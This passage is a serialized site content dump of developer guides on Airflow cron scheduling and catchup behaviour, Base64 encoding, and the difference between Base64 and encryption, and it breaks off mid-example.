'daily',\n",[1560,258588,258589],{"class":1562,"line":889},[1560,258590,258030],{},[1560,258592,258593],{"class":1562,"line":1710},[1560,258594,258350],{},[1560,258596,258597],{"class":1562,"line":1717},[1560,258598,8252],{},[1560,258600,258601],{"class":1562,"line":1747},[1560,258602,1702],{"emptyLinePlaceholder":363},[1560,258604,258605],{"class":1562,"line":2507},[1560,258606,258607],{},"# CORRECT mental model:\n",[1560,258609,258610],{"class":1562,"line":2524},[1560,258611,258612],{},"# \"The first scheduled period is January 1st (00:00-24:00)\"\n",[1560,258614,258615],{"class":1562,"line":2529},[1560,258616,258617],{},"# \"The DAG runs at January 2nd 00:00 to process January 1st's data\"\n",[33,258619,258621],{"id":258620},"the-start_date-schedule_interval-interaction","The start_date + schedule_interval Interaction",[135,258623,258625],{"className":8259,"code":258624,"language":8261,"meta":141,"style":141},"from datetime import datetime\n\n# Scenario: Today is 2024-01-10\n# start_date is in the past\ndag = DAG(\n    'example',\n    start_date=datetime(2024, 1, 1),  # 9 days ago\n    schedule_interval='0 0 * * *',\n    catchup=True,  # Default is True!\n)\n\n# With catchup=True, Airflow will schedule runs for:\n# 2024-01-02 00:00 (processes Jan 1st data)\n# 2024-01-03 00:00 (processes Jan 2nd data)\n# ...\n# 2024-01-10 00:00 (processes Jan 9th data)\n# That's 9 backfill runs!\n",[143,258626,258627,258631,258635,258640,258645,258649,258654,258659,258663,258668,258672,258676,258681,258686,258691,258696,258701],{"__ignoreMap":141},[1560,258628,258629],{"class":1562,"line":1563},[1560,258630,94839],{},[1560,258632,258633],{"class":1562,"line":337},[1560,258634,1702],{"emptyLinePlaceholder":363},[1560,258636,258637],{"class":1562,"line":343},[1560,258638,258639],{},"# Scenario: Today is 2024-01-10\n",[1560,258641,258642],{"class":1562,"line":365},[1560,258643,258644],{},"# start_date is in the past\n",[1560,258646,258647],{"class":1562,"line":889},[1560,258648,258020],{},[1560,258650,258651],{"class":1562,"line":1710},[1560,258652,258653],{},"    'example',\n",[1560,258655,258656],{"class":1562,"line":1717},[1560,258657,258658],{},"    start_date=datetime(2024, 1, 1),  # 9 days ago\n",[1560,258660,258661],{"class":1562,"line":1747},[1560,258662,258350],{},[1560,258664,258665],{"class":1562,"line":2507},[1560,258666,258667],{},"    catchup=True,  # Default is True!\n",[1560,258669,258670],{"class":1562,"line":2524},[1560,258671,8252],{},[1560,258673,258674],{"class":1562,"line":2529},[1560,258675,1702],{"emptyLinePlaceholder":363},[1560,258677,258678],{"class":1562,"line":2534},[1560,258679,258680],{},"# With catchup=True, Airflow will schedule runs for:\n",[1560,258682,258683],{"class":1562,"line":2542},[1560,258684,258685],{},"# 2024-01-02 00:00 (processes Jan 1st data)\n",[1560,258687,258688],{"class":1562,"line":2558},[1560,258689,258690],{},"# 2024-01-03 00:00 (processes Jan 2nd data)\n",[1560,258692,258693],{"class":1562,"line":2570},[1560,258694,258695],{},"# ...\n",[1560,258697,258698],{"class":1562,"line":6638},[1560,258699,258700],{},"# 2024-01-10 00:00 (processes Jan 9th data)\n",[1560,258702,258703],{"class":1562,"line":11615},[1560,258704,258705],{},"# That's 9 backfill runs!\n",[16,258707,258708,258711,258712,258715],{},[47,258709,258710],{},"The fix",": Set ",[143,258713,258714],{},"catchup=False"," unless you want backfill:",[135,258717,258719],{"className":8259,"code":258718,"language":8261,"meta":141,"style":141},"dag = DAG(\n    'example',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 0 * * *',\n    catchup=False,  # Only schedule the most recent period\n)\n",[143,258720,258721,258725,258729,258733,258737,258742],{"__ignoreMap":141},[1560,258722,258723],{"class":1562,"line":1563},[1560,258724,258020],{},[1560,258726,258727],{"class":1562,"line":337},[1560,258728,258653],{},[1560,258730,258731],{"class":1562,"line":343},[1560,258732,258030],{},[1560,258734,258735],{"class":1562,"line":365},[1560,258736,258350],{},[1560,258738,258739],{"class":1562,"line":889},[1560,258740,258741],{},"    catchup=False,  # Only schedule the most recent period\n",[1560,258743,258744],{"class":1562,"line":1710},[1560,258745,8252],{},[11,258747,132491],{"id":132490},[33,258749,258751],{"id":258750},"always-use-utc-in-start_date","Always Use UTC in start_date",[135,258753,258755],{"className":8259,"code":258754,"language":8261,"meta":141,"style":141},"# GOOD: Use UTC\nfrom datetime import datetime\nimport pendulum\n\ndag = DAG(\n    'timezone_example',\n    start_date=datetime(2024, 1, 1, tzinfo=pendulum.UTC),\n    schedule_interval='0 0 * * *',\n    catchup=False,\n)\n\n# BETTER: Use pendulum for clarity\ndag = DAG(\n    'timezone_example',\n    start_date=pendulum.datetime(2024, 1, 1, tz=\"UTC\"),\n    schedule_interval='0 0 * * *',\n    catchup=False,\n)\n",[143,258756,258757,258762,258766,258770,258774,258778,258783,258788,258792,258796,258800,258804,258809,258813,258817,258822,258826,258830],{"__ignoreMap":141},[1560,258758,258759],{"class":1562,"line":1563},[1560,258760,258761],{},"# GOOD: Use UTC\n",[1560,258763,258764],{"class":1562,"line":337},[1560,258765,94839],{},[1560,258767,258768],{"class":1562,"line":343},[1560,258769,258211],{},[1560,258771,258772],{"class":1562,"line":365},[1560,258773,1702],{"emptyLinePlaceholder":363},[1560,258775,258776],{"class":1562,"line":889},[1560,258777,258020],{},[1560,258779,258780],{"class":1562,"line":1710},[1560,258781,258782],{},"    'timezone_example',\n",[1560,258784,258785],{"class":1562,"line":1717},[1560,258786,258787],{},"    start_date=datetime(2024, 1, 1, tzinfo=pendulum.UTC),\n",[1560,258789,258790],{"class":1562,"line":1747},[1560,258791,258350],{},[1560,258793,258794],{"class":1562,"line":2507},[1560,258795,258120],{},[1560,258797,258798],{"class":1562,"line":2524},[1560,258799,8252],{},[1560,258801,258802],{"class":1562,"line":2529},[1560,258803,1702],{"emptyLinePlaceholder":363},[1560,258805,258806],{"class":1562,"line":2534},[1560,258807,258808],{},"# BETTER: Use pendulum for clarity\n",[1560,258810,258811],{"class":1562,"line":2542},[1560,258812,258020],{},[1560,258814,258815],{"class":1562,"line":2558},[1560,258816,258782],{},[1560,258818,258819],{"class":1562,"line":2570},[1560,258820,258821],{},"    start_date=pendulum.datetime(2024, 1, 1, tz=\"UTC\"),\n",[1560,258823,258824],{"class":1562,"line":6638},[1560,258825,258350],{},[1560,258827,258828],{"class":1562,"line":11615},[1560,258829,258120],{},[1560,258831,258832],{"class":1562,"line":11621},[1560,258833,8252],{},[33,258835,258837],{"id":258836},"scheduling-in-a-specific-timezone","Scheduling in a Specific Timezone",[135,258839,258841],{"className":8259,"code":258840,"language":8261,"meta":141,"style":141},"dag = DAG(\n    'tokyo_daily',\n    start_date=pendulum.datetime(2024, 1, 1, tz=\"Asia\u002FTokyo\"),\n    schedule_interval='0 9 * * *',  # 9 AM Tokyo time\n    catchup=False,\n)\n\n# The cron expression '0 9 * * *' is interpreted in the DAG's timezone\n# So this runs at 9 AM Asia\u002FTokyo, not 9 AM UTC\n",[143,258842,258843,258847,258852,258857,258862,258866,258870,258874,258879],{"__ignoreMap":141},[1560,258844,258845],{"class":1562,"line":1563},[1560,258846,258020],{},[1560,258848,258849],{"class":1562,"line":337},[1560,258850,258851],{},"    'tokyo_daily',\n",[1560,258853,258854],{"class":1562,"line":343},[1560,258855,258856],{},"    start_date=pendulum.datetime(2024, 1, 1, tz=\"Asia\u002FTokyo\"),\n",[1560,258858,258859],{"class":1562,"line":365},[1560,258860,258861],{},"    schedule_interval='0 9 * * *',  # 9 AM Tokyo time\n",[1560,258863,258864],{"class":1562,"line":889},[1560,258865,258120],{},[1560,258867,258868],{"class":1562,"line":1710},[1560,258869,8252],{},[1560,258871,258872],{"class":1562,"line":1717},[1560,258873,1702],{"emptyLinePlaceholder":363},[1560,258875,258876],{"class":1562,"line":1747},[1560,258877,258878],{},"# The cron expression '0 9 * * *' is interpreted in the DAG's timezone\n",[1560,258880,258881],{"class":1562,"line":2507},[1560,258882,258883],{},"# So this runs at 9 AM Asia\u002FTokyo, not 9 AM UTC\n",[11,258885,258887],{"id":258886},"catchup-the-silent-dag-runner","catchup: The Silent DAG Runner",[33,258889,258891],{"id":258890},"what-catchup-does","What catchup Does",[16,258893,201925,258894,258897,258898,258900],{},[143,258895,258896],{},"catchup=True"," (the default), Airflow will schedule all missed runs between ",[143,258899,257921],{}," and the current date.",[135,258902,258904],{"className":8259,"code":258903,"language":8261,"meta":141,"style":141},"# Today is 2024-01-10\ndag = DAG(\n    'catchup_example',\n    start_date=datetime(2024, 1, 1),  # 9 days ago\n    schedule_interval='0 0 * * *',\n    catchup=True,  # This is the default!\n)\n\n# Airflow will create 9 DAG runs immediately:\n# - 2024-01-02 00:00 (for Jan 1st data)\n# - 2024-01-03 00:00 (for Jan 2nd data)\n# ...\n# - 2024-01-10 00:00 (for Jan 9th data)\n",[143,258905,258906,258911,258915,258920,258924,258928,258933,258937,258941,258946,258951,258956,258960],{"__ignoreMap":141},[1560,258907,258908],{"class":1562,"line":1563},[1560,258909,258910],{},"# Today is 2024-01-10\n",[1560,258912,258913],{"class":1562,"line":337},[1560,258914,258020],{},[1560,258916,258917],{"class":1562,"line":343},[1560,258918,258919],{},"    'catchup_example',\n",[1560,258921,258922],{"class":1562,"line":365},[1560,258923,258658],{},[1560,258925,258926],{"class":1562,"line":889},[1560,258927,258350],{},[1560,258929,258930],{"class":1562,"line":1710},[1560,258931,258932],{},"    catchup=True,  # This is the default!\n",[1560,258934,258935],{"class":1562,"line":1717},[1560,258936,8252],{},[1560,258938,258939],{"class":1562,"line":1747},[1560,258940,1702],{"emptyLinePlaceholder":363},[1560,258942,258943],{"class":1562,"line":2507},[1560,258944,258945],{},"# Airflow will create 9 DAG runs immediately:\n",[1560,258947,258948],{"class":1562,"line":2524},[1560,258949,258950],{},"# - 2024-01-02 00:00 (for Jan 1st data)\n",[1560,258952,258953],{"class":1562,"line":2529},[1560,258954,258955],{},"# - 2024-01-03 00:00 (for Jan 2nd data)\n",[1560,258957,258958],{"class":1562,"line":2534},[1560,258959,258695],{},[1560,258961,258962],{"class":1562,"line":2542},[1560,258963,258964],{},"# - 2024-01-10 00:00 (for Jan 9th data)\n",[33,258966,258968],{"id":258967},"when-to-use-catchuptrue","When to Use catchup=True",[41,258970,258971,258974,258977],{},[44,258972,258973],{},"Initial backfill of historical data",[44,258975,258976],{},"Re-processing after fixing a bug",[44,258978,258979],{},"Data pipelines where historical data is needed",[33,258981,258983],{"id":258982},"when-to-use-catchupfalse","When to Use catchup=False",[41,258985,258986,258989,258992],{},[44,258987,258988],{},"Live production pipelines (only process current data)",[44,258990,258991],{},"Resource-intensive DAGs (avoid sudden load spike)",[44,258993,258994],{},"DAGs with external dependencies that only exist for recent data",[11,258996,258998],{"id":258997},"debugging-scheduling-issues","Debugging Scheduling Issues",[33,259000,259002],{"id":259001},"_1-check-when-the-next-run-is-scheduled","1. Check When the Next Run Is Scheduled",[135,259004,259006],{"className":6951,"code":259005,"language":6953,"meta":141,"style":141},"# Using CLI\nairflow dags show \u003Cdag_id> --tree\n\n# Or in the UI: Browse -> DAGs -> [Your DAG] -> \"Next Run\" column\n",[143,259007,259008,259013,259036,259040],{"__ignoreMap":141},[1560,259009,259010],{"class":1562,"line":1563},[1560,259011,259012],{"class":1649},"# Using CLI\n",[1560,259014,259015,259018,259021,259024,259026,259029,259031,259033],{"class":1562,"line":337},[1560,259016,259017],{"class":1566},"airflow",[1560,259019,259020],{"class":5634}," dags",[1560,259022,259023],{"class":5634}," show",[1560,259025,28030],{"class":1669},[1560,259027,259028],{"class":5634},"dag_i",[1560,259030,27742],{"class":1570},[1560,259032,28226],{"class":1669},[1560,259034,259035],{"class":1576}," --tree\n",[1560,259037,259038],{"class":1562,"line":343},[1560,259039,1702],{"emptyLinePlaceholder":363},[1560,259041,259042],{"class":1562,"line":365},[1560,259043,259044],{"class":1649},"# Or in the UI: Browse -> DAGs -> [Your DAG] -> \"Next Run\" column\n",[33,259046,259048],{"id":259047},"_2-understand-the-data-interval","2. Understand the Data Interval",[135,259050,259052],{"className":8259,"code":259051,"language":8261,"meta":141,"style":141},"from airflow import DAG\nfrom datetime import datetime\n\ndag = DAG(\n    'debug_example',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 0 * * *',\n)\n\n# In your task, you can access:\n# {{ data_interval_start }} - Start of the scheduled period\n# {{ data_interval_end }} - End of the scheduled period (when DAG runs)\n",[143,259053,259054,259058,259062,259066,259070,259075,259079,259083,259087,259091,259096,259101],{"__ignoreMap":141},[1560,259055,259056],{"class":1562,"line":1563},[1560,259057,258088],{},[1560,259059,259060],{"class":1562,"line":337},[1560,259061,94839],{},[1560,259063,259064],{"class":1562,"line":343},[1560,259065,1702],{"emptyLinePlaceholder":363},[1560,259067,259068],{"class":1562,"line":365},[1560,259069,258020],{},[1560,259071,259072],{"class":1562,"line":889},[1560,259073,259074],{},"    'debug_example',\n",[1560,259076,259077],{"class":1562,"line":1710},[1560,259078,258030],{},[1560,259080,259081],{"class":1562,"line":1717},[1560,259082,258350],{},[1560,259084,259085],{"class":1562,"line":1747},[1560,259086,8252],{},[1560,259088,259089],{"class":1562,"line":2507},[1560,259090,1702],{"emptyLinePlaceholder":363},[1560,259092,259093],{"class":1562,"line":2524},[1560,259094,259095],{},"# In your task, you can access:\n",[1560,259097,259098],{"class":1562,"line":2529},[1560,259099,259100],{},"# {{ data_interval_start }} - Start of the scheduled period\n",[1560,259102,259103],{"class":1562,"line":2534},[1560,259104,259105],{},"# {{ data_interval_end }} - End of the scheduled period (when DAG runs)\n",[33,259107,259109],{"id":259108},"_3-test-scheduling-without-running","3. Test Scheduling Without Running",[135,259111,259113],{"className":6951,"code":259112,"language":6953,"meta":141,"style":141},"# Parse the schedule and show next runs\nairflow dags test \u003Cdag_id> 2024-01-01\n",[143,259114,259115,259120],{"__ignoreMap":141},[1560,259116,259117],{"class":1562,"line":1563},[1560,259118,259119],{"class":1649},"# Parse the schedule and show next runs\n",[1560,259121,259122,259124,259126,259129,259131,259133,259135,259137],{"class":1562,"line":337},[1560,259123,259017],{"class":1566},[1560,259125,259020],{"class":5634},[1560,259127,259128],{"class":5634}," test",[1560,259130,28030],{"class":1669},[1560,259132,259028],{"class":5634},[1560,259134,27742],{"class":1570},[1560,259136,28226],{"class":1669},[1560,259138,259139],{"class":5634}," 2024-01-01\n",[33,259141,259143],{"id":259142},"_4-common-issue-dag-not-running","4. Common Issue: DAG Not Running",[16,259145,259146],{},"Check these in order:",[77,259148,259149,259155,259164,259169],{},[44,259150,259151,259152,1525],{},"Is the DAG paused? (",[143,259153,259154],{},"airflow dags unpause \u003Cdag_id>",[44,259156,259157,259158,259160,259161,259163],{},"Is ",[143,259159,257921],{}," in the past? (Future ",[143,259162,257921],{}," = won't run yet)",[44,259165,259157,259166,259168],{},[143,259167,258714],{}," and the scheduler already passed the start_date?",[44,259170,259171,259172,259175,259176],{},"Check the scheduler logs: ",[143,259173,259174],{},"airflow scheduler"," output or ",[143,259177,259178],{},"\u002Fvar\u002Flog\u002Fairflow\u002Fscheduler\u002F",[11,259180,35318],{"id":35317},[77,259182,259183,259190,259198,259209,259218,259226],{},[44,259184,259185],{},[47,259186,161746,259187,259189],{},[143,259188,258714],{}," unless you need backfill",[44,259191,259192],{},[47,259193,1388,259194,259197],{},[143,259195,259196],{},"pendulum"," for timezone-aware datetimes",[44,259199,259200,103281,259205,259208],{},[47,259201,259202,259203],{},"Don't use dynamic ",[143,259204,257921],{},[143,259206,259207],{},"datetime.now()",") - it causes unpredictable behavior",[44,259210,259211],{},[47,259212,259213,259214,259217],{},"Test scheduling with ",[143,259215,259216],{},"airflow dags test"," before deploying",[44,259219,259220,259225],{},[47,259221,259222,259223],{},"Use descriptive ",[143,259224,257978],{}," - cron strings are opaque; add a comment",[44,259227,259228,259234],{},[47,259229,259230,259231,259233],{},"Consider using ",[143,259232,257982],{}," for complex scheduling"," instead of cramming logic into cron expressions",[11,259236,259238],{"id":259237},"quick-reference-cron-to-airflow-mapping","Quick Reference: Cron to Airflow Mapping",[193,259240,259241,259254],{},[196,259242,259243],{},[199,259244,259245,259248,259251],{},[202,259246,259247],{},"Cron",[202,259249,259250],{},"Airflow schedule_interval",[202,259252,259253],{},"Note",[211,259255,259256,259271,259286,259301,259315],{},[199,259257,259258,259263,259268],{},[216,259259,259260],{},[143,259261,259262],{},"@yearly",[216,259264,259265],{},[143,259266,259267],{},"'0 0 1 1 *'",[216,259269,259270],{},"Once a year",[199,259272,259273,259278,259283],{},[216,259274,259275],{},[143,259276,259277],{},"@monthly",[216,259279,259280],{},[143,259281,259282],{},"'0 0 1 * *'",[216,259284,259285],{},"First day of month",[199,259287,259288,259293,259298],{},[216,259289,259290],{},[143,259291,259292],{},"@weekly",[216,259294,259295],{},[143,259296,259297],{},"'0 0 * * 0'",[216,259299,259300],{},"Sunday midnight",[199,259302,259303,259308,259312],{},[216,259304,259305],{},[143,259306,259307],{},"@daily",[216,259309,259310],{},[143,259311,258060],{},[216,259313,259314],{},"Midnight",[199,259316,259317,259322,259327],{},[216,259318,259319],{},[143,259320,259321],{},"@hourly",[216,259323,259324],{},[143,259325,259326],{},"'0 * * * *'",[216,259328,259329],{},"Top of every hour",[11,259331,257800],{"id":257799},[41,259333,259334],{},[44,259335,259336,259338],{},[98,259337,986],{"href":985}," - Validate and understand cron expressions",[2043,259340,259341],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":259343},[259344,259345,259349,259354,259362,259366,259370,259375,259381,259382,259383],{"id":256641,"depth":337,"text":2776},{"id":257876,"depth":337,"text":257877,"children":259346},[259347,259348],{"id":257880,"depth":343,"text":257881},{"id":257985,"depth":343,"text":257986},{"id":258042,"depth":337,"text":258043,"children":259350},[259351,259352,259353],{"id":258046,"depth":343,"text":258047},{"id":258127,"depth":343,"text":258128},{"id":258188,"depth":343,"text":258189},{"id":258322,"depth":337,"text":258323,"children":259355},[259356,259357,259358,259359,259360,259361],{"id":258326,"depth":343,"text":258327},{"id":258361,"depth":343,"text":258362},{"id":258396,"depth":343,"text":258397},{"id":258431,"depth":343,"text":258432},{"id":258466,"depth":343,"text":258467},{"id":258501,"depth":343,"text":258502},{"id":258536,"depth":337,"text":258537,"children":259363},[259364,259365],{"id":258540,"depth":343,"text":258541},{"id":258620,"depth":343,"text":258621},{"id":132490,"depth":337,"text":132491,"children":259367},[259368,259369],{"id":258750,"depth":343,"text":258751},{"id":258836,"depth":343,"text":258837},{"id":258886,"depth":337,"text":258887,"children":259371},[259372,259373,259374],{"id":258890,"depth":343,"text":258891},{"id":258967,"depth":343,"text":258968},{"id":258982,"depth":343,"text":258983},{"id":258997,"depth":337,"text":258998,"children":259376},[259377,259378,259379,259380],{"id":259001,"depth":343,"text":259002},{"id":259047,"depth":343,"text":259048},{"id":259108,"depth":343,"text":259109},{"id":259142,"depth":343,"text":259143},{"id":35317,"depth":337,"text":35318},{"id":259237,"depth":337,"text":259238},{"id":257799,"depth":337,"text":257800},"Master Airflow cron scheduling. Learn schedule_interval vs timetable, common patterns, traps like start_date misunderstanding, and best practices.",{"immutable":363},"\u002Fguides\u002Fairflow-cron-scheduling",{"title":257863,"description":259384},"guides\u002Fairflow-cron-scheduling","wV3NtRjtFZbP81GgbOSe5JcEwGexvDRFlbitnHBWCfI",{"id":259391,"title":84535,"body":259392,"date":257855,"description":259499,"extension":361,"meta":259500,"navigation":363,"path":84534,"readingTime":1710,"seo":259501,"stem":259502,"__hash__":259503},"guides\u002Fguides\u002Fbase64-encoding-guide.md",{"type":8,"value":259393,"toc":259490},[259394,259398,259405,259409,259412,259418,259420,259423,259429,259434,259436,259461,259465,259483,259485],[11,259395,259397],{"id":259396},"what-is-base64","What is Base64?",[16,259399,259400,259401,1856,259403,9368],{},"Base64 is a binary-to-text encoding scheme that represents binary data using a set of 64 printable ASCII characters. It converts binary data into a string of letters, numbers, and two special characters (",[143,259402,9448],{},[143,259404,9423],{},[11,259406,259408],{"id":259407},"how-base64-works","How Base64 Works",[16,259410,259411],{},"Base64 takes 3 bytes (24 bits) of binary data and splits them into four 6-bit groups. Each 6-bit group maps to one of 64 characters in the Base64 alphabet:",[135,259413,259416],{"className":259414,"code":259415,"language":140},[138],"Value 0–25:  A–Z\nValue 26–51: a–z\nValue 52–61: 0–9\nValue 62:    +\nValue 63:    \u002F\n",[143,259417,259415],{"__ignoreMap":141},[33,259419,133],{"id":132},[16,259421,259422],{},"The text \"Hello\" encodes to:",[135,259424,259427],{"className":259425,"code":259426,"language":140},[138],"Hello → SGVsbG8=\n",[143,259428,259426],{"__ignoreMap":141},[16,259430,421,259431,259433],{},[143,259432,7297],{}," padding character appears when the input length is not a multiple of 3 bytes.",[11,259435,254729],{"id":254728},[41,259437,259438,259444,259450,259455],{},[44,259439,259440,259443],{},[47,259441,259442],{},"Email attachments",": MIME encodes binary files as Base64",[44,259445,259446,259449],{},[47,259447,259448],{},"Data URLs",": Embed small images directly in HTML\u002FCSS",[44,259451,259452,259454],{},[47,259453,86551],{},": HTTP Basic Auth sends credentials as Base64",[44,259456,259457,259460],{},[47,259458,259459],{},"JSON web tokens",": JWT payloads are Base64-encoded",[11,259462,259464],{"id":259463},"when-not-to-use-base64","When NOT to Use Base64",[41,259466,259467,259473,259478],{},[44,259468,259469,259472],{},[47,259470,259471],{},"Large files",": Base64 increases size by ~33%",[44,259474,259475,259477],{},[47,259476,151423],{},": Base64 is encoding, not encryption — never use it for passwords",[44,259479,259480,259482],{},[47,259481,133719],{},": Base64 does not compress data",[11,259484,286],{"id":285},[16,259486,29979,259487,259489],{},[98,259488,12162],{"href":12161}," to encode and decode Base64 strings online.",{"title":141,"searchDepth":337,"depth":337,"links":259491},[259492,259493,259496,259497,259498],{"id":259396,"depth":337,"text":259397},{"id":259407,"depth":337,"text":259408,"children":259494},[259495],{"id":132,"depth":343,"text":133},{"id":254728,"depth":337,"text":254729},{"id":259463,"depth":337,"text":259464},{"id":285,"depth":337,"text":286},"Learn how Base64 encoding works, when to use it, and why it's essential for web development and data transfer.",{"immutable":363},{"title":84535,"description":259499},"guides\u002Fbase64-encoding-guide","IaFX7YrQ-XWikYBxK52HJD8mQoI7O4Dg701Q5z1PHrM",{"id":259505,"title":259506,"body":259507,"date":257855,"description":261681,"extension":361,"meta":261682,"navigation":363,"path":237499,"readingTime":1747,"seo":261683,"stem":261684,"__hash__":261685},"guides\u002Fguides\u002Fbase64-vs-encryption.md","Base64 Encoding vs Encryption: Why They're Not the Same",{"type":8,"value":259508,"toc":261649},[259509,259511,259514,259517,259521,259525,259597,259601,259607,259611,259618,259622,259704,259708,259714,259725,259731,259742,259746,259750,259830,259833,260224,260228,260231,260274,260278,260285,260299,260302,260306,260310,260423,260427,260474,260478,260548,260552,260555,260559,260564,260584,260589,260644,260649,260674,260679,260714,260718,260722,260725,260847,260852,260869,260873,260876,261265,261269,261272,261494,261498,261583,261586,261588,261591,261608,261617,261620,261633,261635,261646],[11,259510,2776],{"id":256641},[16,259512,259513],{},"One of the most common misconceptions in software development is that Base64 encoding provides security. You have probably seen code where someone \"encrypts\" a password or API key with Base64 and believes it is now safe from prying eyes.",[16,259515,259516],{},"This confusion can lead to serious security vulnerabilities. This guide clearly explains the difference between encoding, encryption, and hashing — and why you must never use Base64 as a security mechanism.",[11,259518,259520],{"id":259519},"the-fundamental-difference","The Fundamental Difference",[33,259522,259524],{"id":259523},"base64-is-encoding-not-encryption","Base64 is Encoding, Not Encryption",[193,259526,259527,259537],{},[196,259528,259529],{},[199,259530,259531,259533,259535],{},[202,259532,13104],{},[202,259534,93675],{},[202,259536,84413],{},[211,259538,259539,259551,259562,259574,259585],{},[199,259540,259541,259545,259548],{},[216,259542,259543],{},[47,259544,2758],{},[216,259546,259547],{},"Data representation (binary → text)",[216,259549,259550],{},"Data confidentiality (readable → unreadable)",[199,259552,259553,259557,259559],{},[216,259554,259555],{},[47,259556,86221],{},[216,259558,6117],{},[216,259560,259561],{},"Yes (symmetric or asymmetric)",[199,259563,259564,259568,259571],{},[216,259565,259566],{},[47,259567,84440],{},[216,259569,259570],{},"Yes, by anyone",[216,259572,259573],{},"Yes, only with the correct key",[199,259575,259576,259580,259582],{},[216,259577,259578],{},[47,259579,22314],{},[216,259581,22317],{},[216,259583,259584],{},"Designed for security",[199,259586,259587,259591,259594],{},[216,259588,259589],{},[47,259590,7624],{},[216,259592,259593],{},"Embedding images, JWT payloads",[216,259595,259596],{},"Protecting passwords, API keys",[33,259598,259600],{"id":259599},"visual-explanation","Visual Explanation",[135,259602,259605],{"className":259603,"code":259604,"language":140},[138],"Base64 Encoding:\nPlain Text:  \"Hello\"\nBase64:      \"SGVsbG8=\"\nDecoded:     \"Hello\"  ← Anyone can decode this!\n\nEncryption (AES-256):\nPlain Text:  \"Hello\"\nEncrypted:   \"a7f3b2c1d4e5...\" (ciphertext)\nDecrypted:   \"Hello\"  ← Only with the correct key\n",[143,259606,259604],{"__ignoreMap":141},[11,259608,259610],{"id":259609},"what-base64-actually-does","What Base64 Actually Does",[16,259612,259613,259614,259617],{},"Base64 is a ",[47,259615,259616],{},"binary-to-text encoding scheme",". Its only purpose is to represent binary data using ASCII characters that are safe for text-based protocols.",[33,259619,259621],{"id":259620},"how-base64-works-simplified","How Base64 Works (Simplified)",[135,259623,259625],{"className":1607,"code":259624,"language":1609,"meta":141,"style":141},"\u002F\u002F Base64 converts binary data to printable characters\nconst text = \"SecretPassword123\";\nconst base64 = btoa(text);\nconsole.log(base64); \u002F\u002F U2VjcmV0UGFzc3dvcmQxMjM=\n\n\u002F\u002F ANYONE can decode it just as easily\nconst decoded = atob(base64);\nconsole.log(decoded); \u002F\u002F \"SecretPassword123\" ← No security!\n",[143,259626,259627,259632,259645,259657,259669,259673,259678,259692],{"__ignoreMap":141},[1560,259628,259629],{"class":1562,"line":1563},[1560,259630,259631],{"class":1649},"\u002F\u002F Base64 converts binary data to printable characters\n",[1560,259633,259634,259636,259638,259640,259643],{"class":1562,"line":337},[1560,259635,8180],{"class":1669},[1560,259637,87414],{"class":1576},[1560,259639,8186],{"class":1669},[1560,259641,259642],{"class":5634}," \"SecretPassword123\"",[1560,259644,2228],{"class":1570},[1560,259646,259647,259649,259651,259653,259655],{"class":1562,"line":343},[1560,259648,8180],{"class":1669},[1560,259650,131027],{"class":1576},[1560,259652,8186],{"class":1669},[1560,259654,43090],{"class":1566},[1560,259656,111407],{"class":1570},[1560,259658,259659,259661,259663,259666],{"class":1562,"line":365},[1560,259660,8211],{"class":1570},[1560,259662,8214],{"class":1566},[1560,259664,259665],{"class":1570},"(base64); ",[1560,259667,259668],{"class":1649},"\u002F\u002F U2VjcmV0UGFzc3dvcmQxMjM=\n",[1560,259670,259671],{"class":1562,"line":889},[1560,259672,1702],{"emptyLinePlaceholder":363},[1560,259674,259675],{"class":1562,"line":1710},[1560,259676,259677],{"class":1649},"\u002F\u002F ANYONE can decode it just as easily\n",[1560,259679,259680,259682,259684,259686,259689],{"class":1562,"line":1717},[1560,259681,8180],{"class":1669},[1560,259683,22986],{"class":1576},[1560,259685,8186],{"class":1669},[1560,259687,259688],{"class":1566}," atob",[1560,259690,259691],{"class":1570},"(base64);\n",[1560,259693,259694,259696,259698,259701],{"class":1562,"line":1747},[1560,259695,8211],{"class":1570},[1560,259697,8214],{"class":1566},[1560,259699,259700],{"class":1570},"(decoded); ",[1560,259702,259703],{"class":1649},"\u002F\u002F \"SecretPassword123\" ← No security!\n",[33,259705,259707],{"id":259706},"real-world-analogy","Real-World Analogy",[16,259709,259710,259711,8037],{},"Think of Base64 like ",[47,259712,259713],{},"translating a book from English to Spanish",[41,259715,259716,259719,259722],{},[44,259717,259718],{},"The content is the same, just expressed differently",[44,259720,259721],{},"Anyone who knows Spanish can read it",[44,259723,259724],{},"It's not \"locked\" or \"protected\" in any way",[16,259726,259727,259728,8037],{},"Encryption, on the other hand, is like ",[47,259729,259730],{},"putting the book in a safe",[41,259732,259733,259736,259739],{},[44,259734,259735],{},"You need the combination (key) to open it",[44,259737,259738],{},"Without the key, the contents are unreadable",[44,259740,259741],{},"It's actually protected",[11,259743,259745],{"id":259744},"why-base64-is-not-encryption","Why Base64 is Not Encryption",[33,259747,259749],{"id":259748},"_1-no-key-required","1. No Key Required",[135,259751,259753],{"className":1607,"code":259752,"language":1609,"meta":141,"style":141},"\u002F\u002F \"Encrypting\" with Base64 (WRONG!)\nconst apiKey = 